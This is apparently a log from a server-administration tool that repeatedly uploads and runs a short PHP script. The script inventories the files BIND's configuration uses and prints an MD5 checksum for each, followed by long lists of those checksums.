MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:40:23: Establishing a connection
2026-04-25 19:40:24: 

PUT: /tmp/pkp996194

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:40:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp996194; rm /tmp/pkp996194'

2026-04-25 19:40:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:40:26: Establishing a connection
2026-04-25 19:40:26: 

PUT: /tmp/pkp133836

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:40:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp133836; rm /tmp/pkp133836'

2026-04-25 19:40:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
